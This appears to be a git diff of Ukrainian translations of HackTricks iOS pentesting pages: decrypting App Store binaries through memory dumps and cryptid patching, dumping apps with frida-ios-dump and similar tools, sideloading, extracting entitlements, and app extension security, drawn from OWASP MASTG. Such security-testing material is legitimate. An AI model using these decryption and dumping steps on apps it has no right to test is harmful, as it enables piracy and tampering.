**Перевірка та Зміна Прапорця PIE:**
|
||||
**Перевірка та модифікація прапора PIE:**
|
||||
```bash
|
||||
otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Визначення зашифрованої секції та вивантаження пам'яті:**
|
||||
**Визначення зашифрованої секції та дамп пам'яті:**
|
||||
|
||||
Визначте початкову та кінцеву адреси зашифрованої секції за допомогою `otool` та вивантажте пам'ять з в'язаного пристрою за допомогою gdb.
|
||||
Визначте початкові та кінцеві адреси зашифрованої секції за допомогою `otool` та зробіть дамп пам'яті з джейлбрейкнутого пристрою за допомогою gdb.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
**Перезапис зашифрованої секції:**
|
||||
**Перезаписування зашифрованої секції:**
|
||||
|
||||
Замініть зашифровану секцію в початковому бінарному файлі додатка на розшифрований дамп.
|
||||
Замініть зашифровану секцію в оригінальному бінарному файлі програми на розшифрований дамп.
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**Завершення розшифрування:** Змініть метадані бінарного файлу, щоб вказати відсутність шифрування за допомогою інструментів, таких як **MachOView**, встановивши `cryptid` на 0.
|
||||
**Завершення розшифрування:** Змініть метадані бінарного файлу, щоб вказати на відсутність шифрування, використовуючи інструменти, такі як **MachOView**, встановивши `cryptid` на 0.
|
||||
|
||||
### **Розшифрування (Автоматично)**
|
||||
|
||||
#### **frida-ios-dump**
|
||||
Інструмент [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) використовується для **автоматичного розшифрування та вилучення додатків** з пристроїв iOS. Спочатку необхідно налаштувати `dump.py` для підключення до пристрою iOS, що можна зробити через localhost на порту 2222 за допомогою **iproxy** або безпосередньо через IP-адресу та порт пристрою.
|
||||
Інструмент [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) використовується для **автоматичного розшифрування та витягування додатків** з пристроїв iOS. Спочатку потрібно налаштувати `dump.py` для підключення до пристрою iOS, що можна зробити через localhost на порту 2222 за допомогою **iproxy** або безпосередньо через IP-адресу пристрою та порт.
|
||||
|
||||
Додатки, встановлені на пристрої, можна переглянути за допомогою команди:
|
||||
Додатки, встановлені на пристрої, можна перерахувати за допомогою команди:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
```
|
||||
Для вилучення конкретного додатку, наприклад, Telegram, використовується наступна команда:
|
||||
Щоб скинути конкретний додаток, наприклад Telegram, використовується наступна команда:
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
Ця команда ініціює витягування додатка, що призводить до створення файлу `Telegram.ipa` в поточному каталозі. Цей процес підходить для пристроїв з виправданим доступом, оскільки непідписані або фальшиво підписані додатки можна перевстановити за допомогою інструментів, таких як [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
Ця команда ініціює дамп програми, в результаті чого створюється файл `Telegram.ipa` у поточному каталозі. Цей процес підходить для джейлбрейкнутіх пристроїв, оскільки незасвідчені або підроблені програми можуть бути повторно встановлені за допомогою інструментів, таких як [**ios-deploy**](https://github.com/ios-control/ios-deploy).
|
||||
|
||||
#### **flexdecrypt**
|
||||
Інструмент [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), разом із обгорткою [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), дозволяє видобувати файли IPA з встановлених додатків. Команди для встановлення **flexdecrypt** на пристрої включають завантаження та встановлення пакунка `.deb`. **flexdump** може бути використаний для переліку та витягування додатків, як показано у наведених нижче командах:
|
||||
Інструмент [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), разом зі своїм обгорткою [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), дозволяє витягувати IPA файли з встановлених додатків. Команди для встановлення **flexdecrypt** на пристрій включають завантаження та встановлення пакету `.deb`. **flexdump** можна використовувати для переліку та дампу програм, як показано в командах нижче:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
|
@ -141,35 +142,33 @@ flexdump list
|
|||
flexdump dump Twitter.app
|
||||
```
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), інший інструмент на основі Frida, потребує джейлбрейку пристрою для розшифрування додатків:
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), ще один інструмент на базі Frida, вимагає джейлбрейкнутого пристрою для розшифровки додатків:
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
**r2flutch**, використовуючи як radare, так і frida, призначений для розшифрування та вивантаження додатків. Додаткову інформацію можна знайти на його [**сторінці GitHub**](https://github.com/as0ler/r2flutch).
|
||||
**r2flutch**, використовуючи як radare, так і frida, служить для дешифрування та дампінгу додатків. Більше інформації можна знайти на його [**GitHub сторінці**](https://github.com/as0ler/r2flutch).
|
||||
|
||||
### **Встановлення додатків**
|
||||
|
||||
**Sideloading** відноситься до встановлення додатків поза офіційним App Store. Цей процес обробляється демоном **installd** і вимагає, щоб додатки були підписані сертифікатом, виданим Apple. Джейлбрейкнуті пристрої можуть обійти це за допомогою **AppSync**, що дозволяє встановлювати фейково підписані пакети IPA.
|
||||
**Sideloading** відноситься до встановлення додатків поза офіційним App Store. Цей процес обробляється **installd daemon** і вимагає, щоб додатки були підписані сертифікатом, виданим Apple. Пристрої з джейлбрейком можуть обійти це через **AppSync**, що дозволяє встановлювати фальшиво підписані IPA пакети.
|
||||
|
||||
#### **Інструменти для Sideloading**
|
||||
|
||||
- **Cydia Impactor**: Інструмент для підпису та встановлення файлів IPA на iOS та файлів APK на Android. Інструкції та усунення неполадок можна знайти на [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
- **Cydia Impactor**: Інструмент для підписування та встановлення IPA файлів на iOS та APK файлів на Android. Посібники та усунення неполадок можна знайти на [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
|
||||
|
||||
- **libimobiledevice**: Бібліотека для Linux та macOS для спілкування з iOS-пристроями. Наведені команди встановлення та приклади використання для ideviceinstaller для встановлення додатків через USB.
|
||||
- **libimobiledevice**: Бібліотека для Linux та macOS для зв'язку з iOS пристроями. Команди для встановлення та приклади використання ideviceinstaller надаються для встановлення додатків через USB.
|
||||
|
||||
- **ipainstaller**: Цей інструмент командного рядка дозволяє пряме встановлення додатків на пристрої iOS.
|
||||
- **ipainstaller**: Цей інструмент командного рядка дозволяє безпосереднє встановлення додатків на iOS пристроях.
|
||||
|
||||
- **ios-deploy**: Для користувачів macOS, ios-deploy встановлює iOS-додатки з командного рядка. Розпакування IPA та використання прапорця `-m` для прямого запуску додатка є частиною процесу.
|
||||
- **ios-deploy**: Для користувачів macOS, ios-deploy встановлює iOS додатки з командного рядка. Розпакування IPA та використання прапора `-m` для безпосереднього запуску додатка є частиною процесу.
|
||||
|
||||
- **Xcode**: Використовуйте Xcode для встановлення додатків, перейшовши до **Window/Devices and Simulators** та додавання додатка до **Installed Apps**.
|
||||
|
||||
#### **Дозвіл на встановлення додатків на не-планшетних пристроях**
|
||||
Для встановлення додатків, специфічних для iPad, на пристроях iPhone або iPod touch, значення **UIDeviceFamily** в файлі **Info.plist** потрібно змінити на **1**. Однак для цієї модифікації потрібно повторно підписати файл IPA через перевірку підпису.
|
||||
|
||||
**Примітка**: Цей метод може не працювати, якщо додаток вимагає можливостей, що є виключно для новіших моделей iPad при використанні старіших iPhone або iPod touch.
|
||||
- **Xcode**: Використовуйте Xcode для встановлення додатків, перейшовши до **Window/Devices and Simulators** та додавши додаток до **Installed Apps**.
|
||||
|
||||
#### **Дозволити встановлення додатків на пристроях, що не є iPad**
|
||||
Щоб встановити специфічні для iPad додатки на пристрої iPhone або iPod touch, значення **UIDeviceFamily** у файлі **Info.plist** потрібно змінити на **1**. Однак ця модифікація вимагає повторного підписування IPA файлу через перевірки підпису.
|
||||
|
||||
**Примітка**: Цей метод може не спрацювати, якщо додаток вимагає можливостей, які є ексклюзивними для новіших моделей iPad, при використанні старішого iPhone або iPod touch.
|
||||
|
||||
## References
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
|
@ -178,16 +177,17 @@ bagbak --raw Chrome
|
|||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# Видобування Повноважень з Скомпільованого Додатку
|
||||
# Витягування прав зкомпільованого додатку
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Summary of the page [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
Резюме сторінки [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
### **Видобування Повноважень та Файлів Мобільного Провайдера**
|
||||
### **Витягування прав та мобільних провізійних файлів**
|
||||
|
||||
При роботі з IPA додатком або встановленим додатком на пристрої з виправленим джейлбрейком, можливість знаходження файлів `.entitlements` або файлу `embedded.mobileprovision` безпосередньо може бути неможливою. Однак списки властивостей повноважень все ще можна видобути з бінарного додатку, слідуючи процедурам, описаним у розділі "Основи Тестування Безпеки iOS", зокрема в розділі "Отримання Бінарного Додатку".
|
||||
При роботі з IPA додатком або встановленим додатком на джейлбрейкнутому пристрої, безпосередньо знайти файли `.entitlements` або файл `embedded.mobileprovision` може бути неможливо. Однак, списки прав все ще можна витягнути з бінарного файлу додатку, дотримуючись процедур, викладених у розділі "Основне тестування безпеки iOS", зокрема в розділі "Отримання бінарного файлу додатку".
|
||||
|
||||
Навіть з зашифрованими бінарними файлами можна використовувати певні кроки для видобуття цих файлів. Якщо ці кроки не вдаються, може знадобитися використання інструментів, таких як Clutch (якщо сумісний з версією iOS), frida-ios-dump або подібні утиліти для розшифрування та видобуття додатка.
|
||||
Навіть з зашифрованими бінарними файлами, певні кроки можуть бути використані для витягнення цих файлів. Якщо ці кроки не вдаються, можуть знадобитися інструменти, такі як Clutch (якщо сумісний з версією iOS), frida-ios-dump або подібні утиліти для дешифрування та витягнення додатку.
|
||||
|
||||
#### **Видобування Plist Повноважень з Бінарного Додатку**
|
||||
#### **Витягування plist прав з бінарного файлу додатку**
|
||||
|
||||
З бінарним додатком, до якого можна отримати доступ на комп'ютері, можна використовувати **binwalk** для видобуття всіх XML файлів. Нижче наведена команда, яка демонструє, як це зробити:
|
||||
З доступом до бінарного файлу додатку на комп'ютері, **binwalk** може бути використаний для витягнення всіх XML файлів. Команда нижче демонструє, як це зробити:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -34,19 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Альтернативно, **radare2** може бути використаний для тихого запуску команди та виходу, пошуку всіх рядків у бінарному файлі додатка, які містять "PropertyList":
|
||||
Альтернативно, **radare2** може бути використаний для тихого виконання команди та виходу, шукаючи всі рядки в бінарному файлі програми, які містять "PropertyList":
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Обидва методи, binwalk та radare2, дозволяють видобувати файли `plist`, з інспекцією першого (0x0015d2a4), що розкриває успішне відновлення [оригінального файлу entitlements з Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
Обидва методи, binwalk та radare2, дозволяють витягувати `plist` файли, при цьому перевірка першого (0x0015d2a4) виявила успішне відновлення [оригінального файлу прав з Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
|
||||
Для бінарних файлів додатків, до яких отримано доступ на джейлбрейкнутих пристроях (наприклад, через SSH), можна використовувати команду **grep** з прапорцем `-a, --text`, щоб розглядати всі файли як текст у кодуванні ASCII:
|
||||
Для бінарних файлів додатків, доступних на зламаних пристроях (наприклад, через SSH), команда **grep** з прапором `-a, --text` може бути використана для обробки всіх файлів як ASCII тексту:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
Налаштування прапорця `-A num, --after-context=num` дозволяє відображати більше або менше рядків. Цей метод є придатним навіть для зашифрованих бінарних файлів додатків і був перевірений на кількох додатках з App Store. Інструменти, згадані раніше, також можуть бути використані на пристроях iOS з виправленим джейлбрейком для подібних цілей.
|
||||
Налаштування прапора `-A num, --after-context=num` дозволяє відображати більше або менше рядків. Цей метод є життєздатним навіть для зашифрованих бінарних додатків і був перевірений на кількох додатках з App Store. Згадані раніше інструменти також можуть бути використані на джейлбрейкнутіх iOS пристроях для подібних цілей.
|
||||
|
||||
**Примітка**: Пряме використання команди `strings` не рекомендується для цієї задачі через його обмеження у пошуку відповідної інформації. Замість цього, рекомендується використовувати grep з прапорцем `-a` на бінарному файлі або використовувати radare2 (`izz`)/rabin2 (`-zz`) для отримання більш ефективних результатів.
|
||||
**Примітка**: Пряме використання команди `strings` не рекомендується для цього завдання через її обмеження у знаходженні відповідної інформації. Натомість, рекомендується використовувати grep з прапором `-a` на бінарному файлі або використовувати radare2 (`izz`)/rabin2 (`-zz`) для більш ефективних результатів.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,77 +1,79 @@
|
|||
# Розширення додатків для iOS
|
||||
# iOS App Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Розширення додатків покращують функціональність додатків, дозволяючи їм взаємодіяти з іншими додатками або системою, надаючи власні функції або вміст. Ці розширення включають:
|
||||
Розширення додатків покращують функціональність додатків, дозволяючи їм взаємодіяти з іншими додатками або системою, надаючи користувацькі функції або контент. Ці розширення включають:
|
||||
|
||||
- **Спеціальна клавіатура**: Пропонує унікальну клавіатуру у всіх додатках, замінюючи типову клавіатуру iOS.
|
||||
- **Поділитися**: Дозволяє обмінюватися інформацією в соціальних мережах або безпосередньо з іншими.
|
||||
- **Сьогодні (віджети)**: Надає вміст або виконує завдання швидко з перегляду "Сьогодні" в Центрі сповіщень.
|
||||
- **Користувацька клавіатура**: Пропонує унікальну клавіатуру для всіх додатків, замінюючи стандартну клавіатуру iOS.
|
||||
- **Поділитися**: Дозволяє ділитися в соціальних мережах або з іншими безпосередньо.
|
||||
- **Сьогодні (Віджети)**: Швидко надає контент або виконує завдання з центру сповіщень у вигляді "Сьогодні".
|
||||
|
||||
Коли користувач взаємодіє з цими розширеннями, наприклад, обмінюється текстом з додатка-господаря, розширення обробляє цей ввід у своєму контексті, використовуючи спільну інформацію для виконання своєї задачі, як описано в документації Apple.
|
||||
Коли користувач взаємодіє з цими розширеннями, такими як обмін текстом з основного додатку, розширення обробляє цей ввід у своєму контексті, використовуючи спільну інформацію для виконання свого завдання, як зазначено в документації Apple.
|
||||
|
||||
### **Питання безпеки**
|
||||
### **Безпекові міркування**
|
||||
|
||||
Ключові аспекти безпеки включають:
|
||||
|
||||
- Розширення та їхні додатки-господарі спілкуються через міжпроцесне спілкування, а не безпосередньо.
|
||||
- **Віджет "Сьогодні"** унікальний тим, що може запитати свій додаток відкрити через конкретний метод.
|
||||
- Доступ до спільних даних дозволяється в межах приватного контейнера, але прямий доступ обмежений.
|
||||
- Деякі API, включаючи HealthKit, недоступні для розширень додатків, які також не можуть запускати тривалі завдання, отримувати доступ до камери або мікрофону, за винятком розширень iMessage.
|
||||
- Розширення та їхні додатки спілкуються через міжпроцесорну комунікацію, а не безпосередньо.
|
||||
- **Віджет "Сьогодні"** є унікальним тим, що може запитати свій додаток про відкриття через певний метод.
|
||||
- Доступ до спільних даних дозволено в межах приватного контейнера, але прямий доступ обмежений.
|
||||
- Деякі API, включаючи HealthKit, заборонені для розширень додатків, які також не можуть запускати тривалі завдання, отримувати доступ до камери або мікрофона, за винятком розширень iMessage.
|
||||
|
||||
### Статичний аналіз
|
||||
|
||||
#### **Ідентифікація розширень додатків**
|
||||
#### **Визначення розширень додатків**
|
||||
|
||||
Щоб знайти розширення додатків у вихідному коді, шукайте `NSExtensionPointIdentifier` в Xcode або перевіряйте пакунок додатка на наявність файлів `.appex`, що вказують на розширення. Без вихідного коду використовуйте grep або SSH для пошуку цих ідентифікаторів у пакунку додатка.
|
||||
Щоб знайти розширення додатків у вихідному коді, шукайте `NSExtensionPointIdentifier` в Xcode або перевірте пакет додатку на наявність файлів `.appex`, що вказують на розширення. Без вихідного коду використовуйте grep або SSH для знаходження цих ідентифікаторів у пакеті додатку.
|
||||
|
||||
#### **Підтримувані типи даних**
|
||||
|
||||
Перевірте файл `Info.plist` розширення на наявність `NSExtensionActivationRule`, щоб визначити підтримувані типи даних. Це налаштування забезпечує, що розширення викликаються лише сумісними типами даних у додатках-господарях.
|
||||
Перевірте файл `Info.plist` розширення на наявність `NSExtensionActivationRule`, щоб визначити підтримувані типи даних. Ця настройка забезпечує, що лише сумісні типи даних активують розширення в основних додатках.
|
||||
|
||||
#### **Обмін даними**
|
||||
|
||||
Для обміну даними між додатком та його розширенням потрібен спільний контейнер, налаштований через "Групи додатків" і доступний через `NSUserDefaults`. Цей спільний простір необхідний для фонових передач, ініційованих розширеннями.
|
||||
Обмін даними між додатком і його розширенням вимагає спільного контейнера, налаштованого через "Групи додатків" і доступного через `NSUserDefaults`. Цей спільний простір необхідний для фонових передач, ініційованих розширеннями.
|
||||
|
||||
#### **Обмеження розширень**
|
||||
|
||||
Додатки можуть обмежувати певні типи розширень, зокрема спеціальні клавіатури, забезпечуючи відповідність обробці чутливих даних згідно з протоколами безпеки.
|
||||
Додатки можуть обмежувати певні типи розширень, особливо користувацькі клавіатури, забезпечуючи, щоб обробка чутливих даних відповідала протоколам безпеки.
|
||||
|
||||
### Динамічний аналіз
|
||||
|
||||
Динамічний аналіз включає:
|
||||
|
||||
- **Інспектування спільних елементів**: Підключіться до `NSExtensionContext - inputItems`, щоб побачити підтримувані типи даних та походження.
|
||||
- **Ідентифікація розширень**: Дізнайтеся, які розширення обробляють ваші дані, спостерігаючи внутрішні механізми, такі як `NSXPCConnection`.
|
||||
- **Перевірка спільних елементів**: Підключіться до `NSExtensionContext - inputItems`, щоб побачити типи та джерела спільних даних.
|
||||
- **Визначення розширень**: Визначте, які розширення обробляють ваші дані, спостерігаючи за внутрішніми механізмами, такими як `NSXPCConnection`.
|
||||
|
||||
Інструменти, такі як `frida-trace`, можуть допомогти зрозуміти базові процеси, особливо тим, хто зацікавлений у технічних деталях міжпроцесного спілкування.
|
||||
Інструменти, такі як `frida-trace`, можуть допомогти зрозуміти основні процеси, особливо для тих, хто цікавиться технічними деталями міжпроцесорної комунікації.
|
||||
|
||||
## Посилання
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
